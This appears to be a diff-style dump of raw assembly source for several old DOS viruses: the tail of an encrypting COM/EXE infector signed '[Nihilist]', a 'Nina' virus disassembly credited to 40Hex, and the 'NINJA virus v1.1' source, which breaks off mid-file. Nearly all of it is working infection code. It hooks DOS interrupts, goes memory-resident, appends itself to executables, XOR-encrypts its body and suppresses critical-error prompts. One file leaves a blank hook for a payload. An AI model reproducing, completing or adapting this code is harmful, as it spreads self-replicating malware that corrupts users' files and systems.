pop dx cx
|
||||
and cl,-32 ; add time stamp
|
||||
or cl,STAMP
|
||||
mov ax,5701h ; restore file date/time
|
||||
int 21h
|
||||
|
||||
close:
|
||||
pop ds dx cx ; restore attributes
|
||||
call set_attributes
|
||||
|
||||
mov ah,3Eh ; close file
|
||||
int 21h
|
||||
|
||||
cant_open:
|
||||
pop es ds di si dx cx bx ax
|
||||
jmp int_21_exit ; leave
|
||||
|
||||
|
||||
set_attributes:
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
ret
|
||||
|
||||
dont_infect:
|
||||
pop cx dx ; can't infect, skip
|
||||
jmp close
|
||||
|
||||
move_file_ptr:
|
||||
mov ah,42h ; move file pointer
|
||||
cwd
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov dx,ax ; set up registers
|
||||
mov ah,40h
|
||||
mov cx,3
|
||||
ret
|
||||
infect_exe:
|
||||
cmp word ptr read_buffer[26],0
|
||||
jne dont_infect ; overlay, don't infect
|
||||
|
||||
cmp word ptr read_buffer[16],MARKER
|
||||
je dont_infect ; infected already
|
||||
|
||||
les ax,dword ptr read_buffer[20]
|
||||
mov exe_cs,es ; CS
|
||||
mov exe_ip,ax ; IP
|
||||
|
||||
les ax,dword ptr read_buffer[14]
|
||||
mov exe_ss,ax ; SS
|
||||
mov exe_sp,es ; SP
|
||||
mov word ptr read_buffer[16],MARKER
|
||||
|
||||
mov ax,4202h ; to end of file
|
||||
cwd
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
push ax dx ; save file size
|
||||
|
||||
push bx
|
||||
mov cl,12 ; calculate offsets for CS
|
||||
shl dx,cl ; and IP
|
||||
mov bx,ax
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
add dx,bx
|
||||
and ax,15
|
||||
pop bx
|
||||
|
||||
sub dx,word ptr read_buffer[8]
|
||||
mov word ptr read_buffer[22],dx
|
||||
mov word ptr read_buffer[20],ax
|
||||
add dx,100
|
||||
mov word ptr read_buffer[14],dx
|
||||
|
||||
pop dx ax ; calculate prog size
|
||||
|
||||
add ax,VIRUS_SIZE + 3
|
||||
adc dx,0
|
||||
mov cx,512 ; in pages
|
||||
div cx ; then save results
|
||||
inc ax
|
||||
mov word ptr read_buffer[2],dx
|
||||
mov word ptr read_buffer[4],ax
|
||||
mov dx,word ptr read_buffer[20]
|
||||
call encrypt_code ; encrypt virus
|
||||
|
||||
|
||||
mov ah,40h
|
||||
mov cx,VIRUS_SIZE + 3
|
||||
mov dx,offset encrypt_buffer
|
||||
int 21h
|
||||
|
||||
|
||||
mov ax,4200h ; back to beginning
|
||||
cwd
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov ah,40h ; and fix up header
|
||||
mov cx,28
|
||||
mov dx,offset read_buffer
|
||||
int 21h
|
||||
jmp fix_date_time ; done
|
||||
|
||||
courtesy_of db '[BW]',0
|
||||
signature db '[Nihilist]',0
|
||||
|
||||
|
||||
activate:
|
||||
; Insert your routine here
|
||||
ret
|
||||
get_extension:
|
||||
push ds ; find extension
|
||||
pop es
|
||||
mov di,dx
|
||||
mov cx,64
|
||||
mov al,'.'
|
||||
repnz scasb
|
||||
ret
|
||||
|
||||
encrypt_code:
|
||||
push ax cx
|
||||
|
||||
push dx
|
||||
xor ah,ah ; get time for random number
|
||||
int 1Ah
|
||||
|
||||
mov cipher,dx ; save encryption key
|
||||
pop cx
|
||||
add cx,virus_code - virus_begin
|
||||
mov code_offset,cx ; save code offset
|
||||
|
||||
push cs ; ES = CS
|
||||
pop es
|
||||
|
||||
mov si,offset virus_begin ; move decryption module
|
||||
mov di,offset encrypt_buffer
|
||||
mov cx,virus_code - virus_begin
|
||||
rep movsb
|
||||
|
||||
mov cx,VIRUS_SIZE / 2 + 1
|
||||
encrypt:
|
||||
lodsw ; encrypt virus code
|
||||
xor ax,dx
|
||||
stosw
|
||||
loop encrypt
|
||||
|
||||
pop cx ax
|
||||
ret
|
||||
|
||||
int_24:
|
||||
mov al,3 ; int 24 handler
|
||||
iret
|
||||
new_jump db 0E9h,0,0
|
||||
|
||||
virus_end:
|
||||
VIRUS_SIZE equ virus_end - virus_begin
|
||||
read_buffer db 28 dup (?) ; read buffer
|
||||
encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
|
||||
|
||||
end_heap:
|
||||
|
||||
MEM_SIZE equ end_heap - start
|
||||
|
||||
code ends
|
||||
end start
|
|
@ -0,0 +1,154 @@
|
|||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
; Disassembly done by Dark Angel of Phalcon/Skism
|
||||
; for 40Hex Number 9, Volume 2 Issue 5
|
||||
start:
|
||||
push ax
|
||||
mov ax,9753h ; installation check
|
||||
int 21h
|
||||
mov ax,ds
|
||||
dec ax
|
||||
mov ds,ax ; ds->program MCB
|
||||
mov ax,ds:[3] ; get size word
|
||||
push bx
|
||||
push es
|
||||
sub ax,40h ; reserve 40h paragraphs
|
||||
mov bx,ax
|
||||
mov ah,4Ah ; Shrink memory allocation
|
||||
int 21h
|
||||
|
||||
mov ah,48h ; Allocate 3Fh paragraphs
|
||||
mov bx,3Fh ; for the virus
|
||||
int 21h
|
||||
|
||||
mov es,ax ; copy virus to high
|
||||
xor di,di ; memory
|
||||
mov si,offset start + 10h ; start at MCB:110h
|
||||
mov cx,100h ; (same as PSP:100h)
|
||||
rep movsb
|
||||
sub ax,10h ; adjust offset as if it
|
||||
push ax ; originated at 100h
|
||||
mov ax,offset highentry
|
||||
push ax
|
||||
retf
|
||||
|
||||
endfile dw 100h ; size of infected COM file
|
||||
|
||||
highentry:
|
||||
mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so the
|
||||
; memory isn't freed when the
|
||||
; program terminates
|
||||
mov ax,3521h ; get int 21h vector
|
||||
int 21h
|
||||
|
||||
mov word ptr cs:oldint21,bx ; save it
|
||||
mov word ptr cs:oldint21+2,es
|
||||
push es
|
||||
pop ds
|
||||
mov dx,bx
|
||||
mov ax,2591h ; redirect int 91h to int 21h
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset int21
|
||||
mov al,21h ; set int 21h to virus vector
|
||||
int 21h
|
||||
|
||||
pop ds ; ds->original program PSP
|
||||
pop bx
|
||||
push ds
|
||||
pop es
|
||||
return_COM:
|
||||
mov di,100h ; restore original
|
||||
mov si,endfile ; file
|
||||
add si,di ; adjust for COM starting
|
||||
mov cx,100h ; offset
|
||||
rep movsb
|
||||
pop ax
|
||||
push ds ; jmp back to original
|
||||
mov bp,100h ; file (PSP:100)
|
||||
push bp
|
||||
retf
|
||||
exit_install:
|
||||
pop ax ; pop CS:IP and flags in
|
||||
pop ax ; order to balance the
|
||||
pop ax ; stack and then exit the
|
||||
jmp short return_COM ; infected COM file
|
||||
int21:
|
||||
cmp ax,9753h ; installation check?
|
||||
je exit_install
|
||||
cmp ax,4B00h ; execute?
|
||||
jne exitint21 ; nope, quit
|
||||
push ax ; save registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
call infect
|
||||
pop ds ; restore registers
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
exitint21:
|
||||
db 0eah ; jmp far ptr
|
||||
oldint21 dd ?
|
||||
|
||||
infect:
|
||||
mov ax,3D02h ; open file read/write
|
||||
int 91h
|
||||
jc exit_infect
|
||||
mov bx,ax
|
||||
mov cx,100h
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,3Fh ; Read first 100h bytes
|
||||
mov dx,offset endvirus
|
||||
int 91h
|
||||
mov ax,word ptr endvirus
|
||||
cmp ax,'MZ' ; exit if EXE
|
||||
je close_exit_infect
|
||||
cmp ax,'ZM' ; exit if EXE
|
||||
je close_exit_infect
|
||||
cmp word ptr endvirus+2,9753h ; exit if already
|
||||
je close_exit_infect ; infected
|
||||
mov al,2 ; go to end of file
|
||||
call move_file_pointer
|
||||
cmp ax,0FEB0h ; exit if too large
|
||||
ja close_exit_infect
|
||||
cmp ax,1F4h ; or too small for
|
||||
jb close_exit_infect ; infection
|
||||
mov endfile,ax ; save file size
|
||||
call write
|
||||
mov al,0 ; go to start of file
|
||||
call move_file_pointer
|
||||
mov dx,100h ; write virus
|
||||
call write
|
||||
close_exit_infect:
|
||||
mov ah,3Eh ; Close file
|
||||
int 91h
|
||||
exit_infect:
|
||||
retn
|
||||
|
||||
move_file_pointer:
|
||||
push dx
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ah,42h
|
||||
int 91h
|
||||
pop dx
|
||||
retn
|
||||
|
||||
write:
|
||||
mov ah,40h
|
||||
mov cx,100h
|
||||
int 91h
|
||||
retn
|
||||
|
||||
db ' Nina '
|
||||
endvirus:
|
||||
int 20h ; original COM file
|
||||
|
||||
end start
|
|
@ -0,0 +1,530 @@
|
|||
;NINJA virus v1.1 _sandoz_
|
||||
|
||||
;I dont believe that NINJA scans, it was developed from Soviet block virus
|
||||
;code that was aquired late in 1988. For this reason some features are missing
|
||||
;such as original encryption, which really wont be missed. However some features
|
||||
;are rather unique. used were System Violator's Virus Mutator and some luck.
|
||||
;an oldie but interesting.
|
||||
|
||||
cseg segment
|
||||
|
||||
assume cs:cseg, ds:cseg, es:cseg, ss:cseg
|
||||
org 100h
|
||||
|
||||
l_0100: mov bx,offset l_0146 ;0100.BB 0146
|
||||
jmp bx ;Register jump ;0103 FF E3
|
||||
|
||||
;-------victim code----------------------------------------------
|
||||
; ...
|
||||
org 0146h
|
||||
|
||||
;=======virus code begin=========================================
|
||||
; in resident virus this code begins at 9000h:0A000h
|
||||
;----------------------------------------------------------------
|
||||
l_0146: push ds ;<- Entry into virus ;0146 1E
|
||||
push es ;0147 06
|
||||
push ax ;0148 50
|
||||
NOP
|
||||
push ds ;<-victim code restore ;0149 1E
|
||||
pop es ;014A 07
|
||||
|
||||
mov si,bx ;offset wejscia w wirusa;014B 8B F3
|
||||
add si,02D3h ;(419)changed code saved;014D.81 C6 02D3
|
||||
mov di,0100h ;changed code address ;0151.BF 0100
|
||||
mov cx,5 ;length of change ;0154 B9 0005
|
||||
rep movsb ;0157 F3/ A4
|
||||
push ds ;0159 1E
|
||||
|
||||
xor ax,ax ;<- get int 8 ;015A 31 C0
|
||||
push ax ;015C 50
|
||||
|
||||
pop ds ;015D 1F
|
||||
mov si,20h ;int 8h ;015E.BE 0020
|
||||
mov di,bx ;0161 8B FB
|
||||
add di,0E6h ;(022Ch)=old int 8 ;0163.81 C7 00E6
|
||||
mov cx,4 ;0167 B9 0004
|
||||
rep movsb ;016A F3/ A4
|
||||
mov ax,bx ;016C 8B C3
|
||||
add ax,57h ;(019Dh)=continuat. adr.;016E 05 0057
|
||||
call s_0193 ;0171 E8 001F
|
||||
|
||||
pop ds ;0174 1F
|
||||
l_0175: jmp short l_0175 ;int 8 waiting loop ;0175 EB FE
|
||||
|
||||
;<----- return after int 8 service-------------------------------
|
||||
l_0177: cli ;<- int 8 vector restore;0177 FA
|
||||
xor ax,ax ;0178 31 C0
|
||||
mov es,ax ;017A 8E C0
|
||||
mov di,0020h ;017C.BF 20 00
|
||||
mov si,bx ;017F 8B F3
|
||||
|
||||
add si,0E9h ;(022Ch) ;0181.81 C6 E6 00
|
||||
mov cx,4 ;0185 B9 04 00
|
||||
repz movsb ;0188 F3 / A4
|
||||
sti ;018A FB
|
||||
NOP
|
||||
pop ax ;<- run victim programm ;018B 58
|
||||
pop es ;018C 07
|
||||
pop ds ;018D 1F
|
||||
mov bx,0100h ;execution begin address;018E.BB 00 01
|
||||
|
||||
jmp bx ;0191 FF E3
|
||||
|
||||
|
||||
;<----- "get int 8" routine -------------------------------------
|
||||
s_0193 proc near
|
||||
cli ; Disable interrupts ;0193 FA
|
||||
mov ds:[20h],ax ;0194 A3 0020
|
||||
mov ds:[22h],es ;0197 8C 06 0022
|
||||
sti ; Enable interrupts ;019B FB
|
||||
|
||||
retn ;019C C3
|
||||
s_0193 endp
|
||||
|
||||
;<----- code executed after interrupt int 8----------------------
|
||||
l_019D: pushf ;019D 9C
|
||||
push ax ;019E 50
|
||||
push bx ;019F 53
|
||||
push cx ;01A0 51
|
||||
push dx ;01A1 52
|
||||
|
||||
push si ;01A2 56
|
||||
push di ;01A3 57
|
||||
push es ;01A4 06
|
||||
push ds ;01A5 1E
|
||||
push bp ;01A6 55
|
||||
|
||||
mov bp,sp ;01A7 8B EC
|
||||
mov ax,bx ;base to virus code ;01A9 8B C3
|
||||
add ax,2Fh ;(175h) ;01AB 05 002F
|
||||
|
||||
cmp ss:[bp+14h],ax ;interrupted code CS seg;01AE 36 39 46 14
|
||||
jnz l_0220 ;-> we must wait again ;01B2 75 6C
|
||||
|
||||
l_01B4: add word ptr ss:[BP+14],3 ;chng ret addr to l_0177;01B4 36 83 46 14 03
|
||||
|
||||
;<- restore int 8 vector
|
||||
push ds ;02B9 1E
|
||||
xor ax,ax ;01BA 31 C0
|
||||
push ax ;01BC 50
|
||||
|
||||
POP DS ;01BD 1F
|
||||
CLI ;01BE FA
|
||||
MOV AX,cs:[BX+00E6h] ;(022Ch) old int 8 vect ;01BF 2E 8B 87 E6 00
|
||||
MOV ds:[20h],AX ;01C4 A3 20 00
|
||||
MOV AX,cs:[BX+00E8h] ;01C7 2E 8B 87 E8 00
|
||||
MOV ds:[22h],AX ;01CC A3 22 00
|
||||
POP DS ;01CF 1F
|
||||
|
||||
MOV AX,9000h ;memory last 64KB ;01D0 B8 00 90
|
||||
|
||||
MOV ES,AX ;01D3 8E C0
|
||||
MOV SI,BX ;virus code begin ;01D5 8B F3
|
||||
MOV DI,0A000h ;the last 24KB of mem ;01D7 BF 00 A0
|
||||
MOV AL,es:[DI] ;01DA 26 8A 05
|
||||
CMP AL,1Eh ;allready installed ? ;01DD 3C 1E
|
||||
JZ l_0220 ;-> yes, end of job ;01DF 74 3F
|
||||
MOV CX,02FBh ;virus code length ;01E1 B9 FB 02
|
||||
REPZ MOVSB ;copy virus code ;01E4 F3 / A4
|
||||
;<- Make link to DOS
|
||||
|
||||
CALL s_0230 ;first DOS version ;01E6 E8 47 00
|
||||
JZ l_0220 ;-> O.K. ;01E9 74 35
|
||||
CALL s_027D ;Second DOS version ;01EB E8 8F 00
|
||||
JZ l_0220 ;-> O.K. ;01EE 74 30
|
||||
CALL s_02CA ;third DOS version ;01F0 E8 D7 00
|
||||
JZ l_0220 ;-> O.K. ;01F3 74 2B
|
||||
|
||||
;<- Unknown DOS version, BRUTE installation
|
||||
MOV AX,9000h ;01F5 B8 00 90
|
||||
|
||||
PUSH AX ;01F8 50
|
||||
POP ES ;01F9 07
|
||||
XOR AX,AX ;01FA 31 C0
|
||||
PUSH AX ;01FC 50
|
||||
POP DS ;01FD 1F
|
||||
MOV AX,ds:[84h] ;01FE A1 84 00
|
||||
MOV es:[0A1DFh],AX ;(0325) ;0201 26 A3 DF A1
|
||||
MOV es:[0A2CEh],AX ;(0414) ;0205 26 A3 CE A2
|
||||
MOV AX,ds:[86h] ;0209 A1 86 00
|
||||
|
||||
MOV es:[0A1E1h],AX ;(0327) ;020C 26 A3 E1 A1
|
||||
MOV es:[0A2D0h],AX ;(0416) ;0210 26 A3 D0 A2
|
||||
MOV AX,0A1D1h ;(0317) new int 21h hndl;0214 B8 D1 A1
|
||||
MOV ds:[84h],AX ;int 21h ;0217 A3 84 00
|
||||
MOV AX,9000h ;resident virus segment ;021A B8 00 90
|
||||
MOV ds:[86h],AX ;021D A3 86 00
|
||||
|
||||
l_0220: pop bp ;0220 5D
|
||||
pop ds ;0221 1F
|
||||
|
||||
pop es ;0221 07
|
||||
pop di ;0222 5F
|
||||
pop si ;0223 5E
|
||||
pop dx ;0224 5A
|
||||
pop cx ;0226 59
|
||||
pop bx ;0227 5B
|
||||
pop ax ;0228 58
|
||||
popf ;0229 9D
|
||||
sti ;022A FB
|
||||
|
||||
db 0EAh ;022B EA
|
||||
r_00E6 db 0ABh,00h,0C2h,0Bh ;022C AB 00 C2 0B
|
||||
; jmp 0BC2:00AB ;-> oryginal int 8
|
||||
|
||||
|
||||
;================================================================
|
||||
; Make link to DOS - first DOS version
|
||||
;----------------------------------------------------------------
|
||||
s_0230: PUSH DS ;0230 1E
|
||||
|
||||
PUSH ES ;0231 06
|
||||
XOR AX,AX ;<- check possibility ;0232 31 C0
|
||||
PUSH AX ;0234 50
|
||||
POP DS ;0235 1F
|
||||
MOV AX,ds:[86h] ;oryginal int 21h seg ;0236 A1 86 00
|
||||
PUSH AX ;0239 50
|
||||
POP DS ;023A 1F
|
||||
MOV BX,0100h ;023B BB 00 01
|
||||
CMP BYTE PTR [BX],0E9h ;023E 80 3F E9
|
||||
|
||||
JNZ l_027A ;-> unknown system ;0241 75 37
|
||||
INC BX ;0243 43
|
||||
CMP BYTE PTR [BX],53h ;0244 80 3F 53
|
||||
JNZ l_027A ;-> unknown system ;0247 75 31
|
||||
INC BX ;0249 43
|
||||
CMP BYTE PTR [BX],22h ;024A 80 3F 22
|
||||
JNZ l_027A ;-> unknown system ;024D 75 2B
|
||||
|
||||
;<- make link to DOS
|
||||
|
||||
MOV AX,9000h ;024F B8 00 90
|
||||
MOV ES,AX ;0252 8E C0
|
||||
|
||||
MOV SI,1223h ;0254 BE 23 12
|
||||
MOV DI,0A2CEh ;(0414) ;0257 BF CE A2
|
||||
MOV CX,4 ;025A B9 04 00
|
||||
REPZ MOVSB ;025D F3 / A4
|
||||
|
||||
MOV SI,1223h ;025F BE 23 12
|
||||
|
||||
MOV DI,0A1DFh ;(0325) ;0262 BF DF A1
|
||||
MOV CX,4 ;0265 B9 04 00
|
||||
REPZ MOVSB ;0268 F3 / A4
|
||||
|
||||
MOV AX,0A1D1h ;(0317)=new int 21h hndl;026A B8 D1 A1
|
||||
MOV ds:[1223h],AX ;026D A3 23 12
|
||||
MOV AX,9000h ;0270 B8 00 90
|
||||
MOV ds:[1225h],AX ;0273 A3 25 12
|
||||
|
||||
|
||||
XOR AX,AX ;0276 31 C0
|
||||
CMP AL,AH ;0278 38 E0
|
||||
|
||||
l_027A: pop es ;027A 07
|
||||
pop ds ;027B 1F
|
||||
retn ;027C C3
|
||||
|
||||
;================================================================
|
||||
; Make link to DOS - second DOS version
|
||||
|
||||
;----------------------------------------------------------------
|
||||
s_027D: push ds ;027D 1E
|
||||
push es ;027E 06
|
||||
xor ax,ax ;<- check possibility ;027F 31 C0
|
||||
push ax ;0281 50
|
||||
pop ds ;0282 1F
|
||||
mov ax,ds:[86h] ;oryginal int 21h seg ;0283 A1 0086
|
||||
push ax ;0286 50
|
||||
pop ds ;0287 1F
|
||||
|
||||
mov bx,0100h ;0288 .BB 0100
|
||||
cmp byte ptr [bx],0E9h ;028B 80 3F E9
|
||||
jne l_02C7 ;-> unknown system ;028E 75 37
|
||||
inc bx ;0290 43
|
||||
cmp byte ptr [bx],0CAh ;0291 80 3F CA
|
||||
jne l_02C7 ;-> unknown system ;0294 75 31
|
||||
inc bx ;0296 43
|
||||
cmp byte ptr [bx],13h ;0297 80 3F 13
|
||||
jne l_02C7 ;-> unknown system ;029A 75 2B
|
||||
|
||||
|
||||
;<- make link to DOS
|
||||
mov ax,9000h ;029C B8 9000
|
||||
mov es,ax ;029F 8E C0
|
||||
mov si,011Dh ;02A1 .BE 011D
|
||||
mov di,0A2CEh ;(0414) ;02A4 .BF A2CE
|
||||
mov cx,4 ;02A7 B9 0004
|
||||
rep movsb ;02AA F3/ A4
|
||||
mov si,011Dh ;02AC .BE 011D
|
||||
|
||||
mov di,0A1DFh ;(0325) ;02AF .BF A1DF
|
||||
mov cx,4 ;02B2 B9 0004
|
||||
rep movsb ;02B5 F3/ A4
|
||||
|
||||
mov ax,0A1D1h ;(0317)=new int 21h hndl;02B7 B8 A1D1
|
||||
mov ds:[011Dh],ax ;02BA A3 011D
|
||||
mov ax,9000h ;02BD B8 9000
|
||||
mov ds:[011Fh],ax ;02C0 A3 011F
|
||||
|
||||
|
||||
xor ax,ax ;02C3 31 C0
|
||||
cmp al,ah ;02C5 38 E0
|
||||
|
||||
l_02C7: pop es ;02C7 07
|
||||
pop ds ;02C8 1F
|
||||
retn ;02C9 C3
|
||||
|
||||
;===============================================================
|
||||
; Make link to DOS - third DOS version
|
||||
|
||||
;---------------------------------------------------------------
|
||||
s_02CA: push ds ;02CA 1E
|
||||
push es ;02CB 06
|
||||
xor ax,ax ;<- check possibility ;02CC 31 C0
|
||||
push ax ;02CE 50
|
||||
pop ds ;02CF 1F
|
||||
mov ax,ds:[86h] ;oryginal int 21h seg ;02D0 A1 0086
|
||||
push ax ;02D3 50
|
||||
pop ds ;02D4 1F
|
||||
|
||||
mov bx,100h ;02D5 .BB 0100
|
||||
cmp byte ptr [bx],0E9h ;02D8 80 3F E9
|
||||
jne l_0314 ;-> unknown system ;02DB 75 37
|
||||
inc bx ;02DD 43
|
||||
cmp byte ptr [bx],15h ;02DE 80 3F 15
|
||||
jne l_0314 ;-> unknown system ;02E1 75 31
|
||||
inc bx ;02E3 43
|
||||
cmp byte ptr [bx],5 ;02E4 80 3F 05
|
||||
jne l_0314 ;-> unknown system ;02E7 75 2B
|
||||
|
||||
|
||||
;<- make link to DOS
|
||||
mov ax,9000h ;02E9 B8 9000
|
||||
mov es,ax ;02EC 8E C0
|
||||
|
||||
mov si,0040Fh ;02EE .BE 040F
|
||||
mov di,0A2CEh ;(0414) ;02F1 .BF A2CE
|
||||
mov cx,4 ;02F4 B9 0004
|
||||
rep movsb ;02F7 F3/ A4
|
||||
|
||||
|
||||
mov si,0040Fh ;02F9 .BE 040F
|
||||
mov di,0A1DFh ;(0325) ;02FC .BF A1DF
|
||||
mov cx,4 ;02FF B9 0004
|
||||
rep movsb ;0302 F3/ A4
|
||||
|
||||
mov ax,0A1D1h ;(0317)=new int 21h hndl;0304 B8 A1D1
|
||||
mov ds:[040Fh],ax ;0307 A3 040F
|
||||
mov ax,9000h ;030A B8 9000
|
||||
|
||||
mov ds:[0411h],ax ;030D A3 0411
|
||||
|
||||
xor ax,ax ;0310 31 C0
|
||||
cmp al,ah ;0312 38 E0
|
||||
|
||||
l_0314: pop es ;0314 07
|
||||
pop ds ;0315 1F
|
||||
retn ;0316 C3
|
||||
|
||||
|
||||
;==========================================================================
|
||||
; New int 21h handling subroutine
|
||||
;--------------------------------------------------------------------------
|
||||
T_A1D1: cmp ah,3Dh ;open file ? ;0317 80 FC 3D
|
||||
je l_0321 ;-> Yes ;031A 74 05
|
||||
cmp ah,4Bh ;load&execute/load ovl ?;031C 80 FC 4B
|
||||
jne l_0324 ;-> No ;031F 75 03
|
||||
l_0321: call s_0329 ;-> infect file ;0321 E8 0005
|
||||
|
||||
|
||||
l_0324: db 0EAh ;<- oryginal int 21h ;0324 EA
|
||||
d_A1DF dw 1460h,0273h ;old int 21h ;0325 60 14 73 02
|
||||
; jmp far ptr 0273:1460
|
||||
|
||||
;==========================================================================
|
||||
; Infecting subroutine
|
||||
;--------------------------------------------------------------------------
|
||||
s_0329 proc near
|
||||
push ax ;0329 50
|
||||
|
||||
push bx ;032A 53
|
||||
push cx ;032B 51
|
||||
push dx ;032C 52
|
||||
push ds ;032D 1E
|
||||
push di ;032E 57
|
||||
push si ;032F 56
|
||||
push es ;0330 06
|
||||
push ds ;0331 1E
|
||||
push es ;0332 06
|
||||
|
||||
NOP
|
||||
xor ax,ax ;<- get int 24h ;0333 31 C0
|
||||
push ax ;0335 50
|
||||
pop ds ;0336 1F
|
||||
push cs ;0337 0E
|
||||
pop es ;0338 07
|
||||
mov si,90h ;int 24h vector ;0339 .BE 0090
|
||||
mov di,0A2E0h ;(0426)-old vector safes;033C .BF A2E0
|
||||
mov cx,4 ;double word ;033F B9 0004
|
||||
|
||||
rep movsb ;0342 F3/ A4
|
||||
mov ax,0A2C9h ;(040F)=new int 24h ;0344 B8 A2C9
|
||||
mov ds:[90h],ax ;0347 A3 0090
|
||||
mov ds:[92h],cs ;034A 8C 0E 0092
|
||||
NOP
|
||||
pop es ;034E 07
|
||||
pop ds ;034F 1F
|
||||
mov di,dx ;file path ;0350 8B FA
|
||||
push ds ;0352 1E
|
||||
|
||||
pop es ;0353 07
|
||||
mov cx,40h ;find dot ;0354 B9 0040
|
||||
mov al,2Eh ;0357 B0 2E
|
||||
repne scasb ;0359 F2/ AE
|
||||
cmp cx,0 ;035B 83 F9 00
|
||||
jne l_0363 ;035E 75 03
|
||||
jmp l_0406 ;-> no file extension ;0360 E9 00A3
|
||||
|
||||
l_0363: push cs ;0363 0E
|
||||
|
||||
pop es ;0364 07
|
||||
mov si,di ;0365 8B F7
|
||||
mov di,0A2DDh ;(0423)='COM' ;0367 .BF A2DD
|
||||
mov cx,3 ;036A B9 0003
|
||||
repe cmpsb ;036D F3/ A6
|
||||
cmp cx,0 ;036F 83 F9 00
|
||||
je l_0377 ;0372 74 03
|
||||
jmp l_0406 ;-> it isn't *.COM ;0374 E9 008F
|
||||
|
||||
|
||||
;<- *.COM file infection
|
||||
l_0377: mov ax,4300h ;Get file attributes ;0377 B8 4300
|
||||
call s_0412 ;int 21h call ;037A E8 0095
|
||||
mov ds:[0A2E4h],cx ;(042A) ;037D 89 0E A2E4
|
||||
|
||||
and cx,0FFFEh ;no R/O ;0381 81 E1 FFFE
|
||||
mov ax,4301h ;Set file attributes ;0385 B8 4301
|
||||
call s_0412 ;int 21h call ;0388 E8 0087
|
||||
|
||||
|
||||
mov ah,3Dh ;Open File ;038B B4 3D
|
||||
mov al,2 ;R/W access ;038D B0 02
|
||||
call s_0412 ;int 21h call ;038F E8 0080
|
||||
jc l_0406 ;-> Opening Error ;0392 72 72
|
||||
push cs ;0394 0E
|
||||
pop ds ;0395 1F
|
||||
mov bx,ax ;file handle ;0396 8B D8
|
||||
mov dx,0A2D3h ;(0419) = file buffer ;0398 BA A2D3
|
||||
mov cx,5 ;bytes count ;039B B9 0005
|
||||
|
||||
mov ah,3Fh ;read file ;039E B4 3F
|
||||
call s_0412 ;int 21h call ;03A0 E8 006F
|
||||
|
||||
mov ah,0BBh ;allready infected ? ;03A3 B4 BB
|
||||
cmp ah,ds:[0A2D3h] ;(0419) ;03A5 3A 26 A2D3
|
||||
je l_03E2 ;-> yes, close file ;03A9 74 37
|
||||
xor cx,cx ;03AB 31 C9
|
||||
xor dx,dx ;03AD 31 D2
|
||||
mov ah,42h ;Move file ptr ;03AF B4 42
|
||||
|
||||
mov al,2 ;EOF + offset ;03B1 B0 02
|
||||
call s_0412 ;int 21h call ;03B3 E8 005C
|
||||
|
||||
cmp ax,0FA00h ;file size =<64000 ;03B6 3D FA00
|
||||
ja l_03E2 ;-> above, close file ;03B9 77 27
|
||||
add ax,100h ;PSP length ;03BB 05 0100
|
||||
mov ds:[0A2D9h],ax ;(041F) - vir.begin addr;03BE A3 A2D9
|
||||
mov ah,40h ;Write file ;03C1 B4 40
|
||||
mov dx,0A000h ;address of buffer ;03C3 BA A000
|
||||
|
||||
mov cx,2FBh ;bytes count ;03C6 B9 02FB
|
||||
call s_0412 ;int 21h call ;03C9 E8 0046
|
||||
|
||||
xor cx,cx ;03CC 31 C9
|
||||
xor dx,dx ;03CE 31 D2
|
||||
mov ah,42h ;Move file ptr ;03D0 B4 42
|
||||
mov al,0 ;BOF + offset ;03D2 B0 00
|
||||
call s_0412 ;int 21h call ;03D4 E8 003B
|
||||
|
||||
|
||||
mov ah,40h ;Write file ;03D7 B4 40
|
||||
mov dx,0A2D8h ;(041E)=BOF virus code ;03D9 BA A2D8
|
||||
mov cx,5 ;code length ;03DC B9 0005
|
||||
call s_0412 ;int 21h call ;03DF E8 0030
|
||||
|
||||
l_03E2: mov ah,3Eh ;close file ;03E2 B4 3E
|
||||
call s_0412 ;int 21h call ;03E4 E8 002B
|
||||
|
||||
mov cx,ds:[0A2E4h] ;(042A) - old atribute ;03E7 8B 0E A2E4
|
||||
|
||||
mov ax,4301h ;set file attributes ;03EB B8 4301
|
||||
call s_0412 ;int 21h call ;03EE E8 0021
|
||||
push ds ;03F1 1E
|
||||
push es ;03F2 06
|
||||
|
||||
xor ax,ax ;restore int 24h vector ;03F3 31 C0
|
||||
push ax ;03F5 50
|
||||
pop es ;03F6 07
|
||||
push cs ;03F7 0E
|
||||
|
||||
pop ds ;03F8 1F
|
||||
mov di,90h ;int 24h vector ;03F9 .BF 0090
|
||||
mov si,0A2E0h ;(0426) - old int 24h ;03FC .BE A2E0
|
||||
mov cx,4 ;double word ;03FF B9 0004
|
||||
rep movsb ;0402 F3/ A4
|
||||
pop es ;0404 07
|
||||
pop ds ;0405 1F
|
||||
l_0406: pop es ;<- EXIT ;0406 07
|
||||
pop si ;0407 5E
|
||||
|
||||
pop di ;0408 5F
|
||||
pop ds ;0409 1F
|
||||
pop dx ;040A 5A
|
||||
pop cx ;040B 59
|
||||
pop bx ;040C 5B
|
||||
pop ax ;040D 58
|
||||
retn ;040E C3
|
||||
s_0329 endp
|
||||
|
||||
|
||||
;================================================================
|
||||
; int 24h handling routine (only infection time)
|
||||
;----------------------------------------------------------------
|
||||
T_A2C9: mov al,0 ;ignore critical error ;040F B0 00
|
||||
iret ;0411 CF
|
||||
|
||||
;================================================================
|
||||
; hidden int 21h call
|
||||
;----------------------------------------------------------------
|
||||
|
||||
s_0412 proc near
|
||||
pushf ;0412 9C
|
||||
db 9Ah ;0413 9A
|
||||
d_A2CE dw 1460h,0273h ;old int 21h ;0414 60 14 73 02
|
||||
;call far ptr 0273:1460
|
||||
retn ;0418 C3
|
||||
s_0412 endp
|
||||
|
||||
;<----- oryginal BOF code
|
||||
d_A2D3 db 31h,0Dh,0Ah,32h,0Dh ;0419 31 0D 0A 32 0D
|
||||
|
||||
;<----- wirus BOF code
|
||||
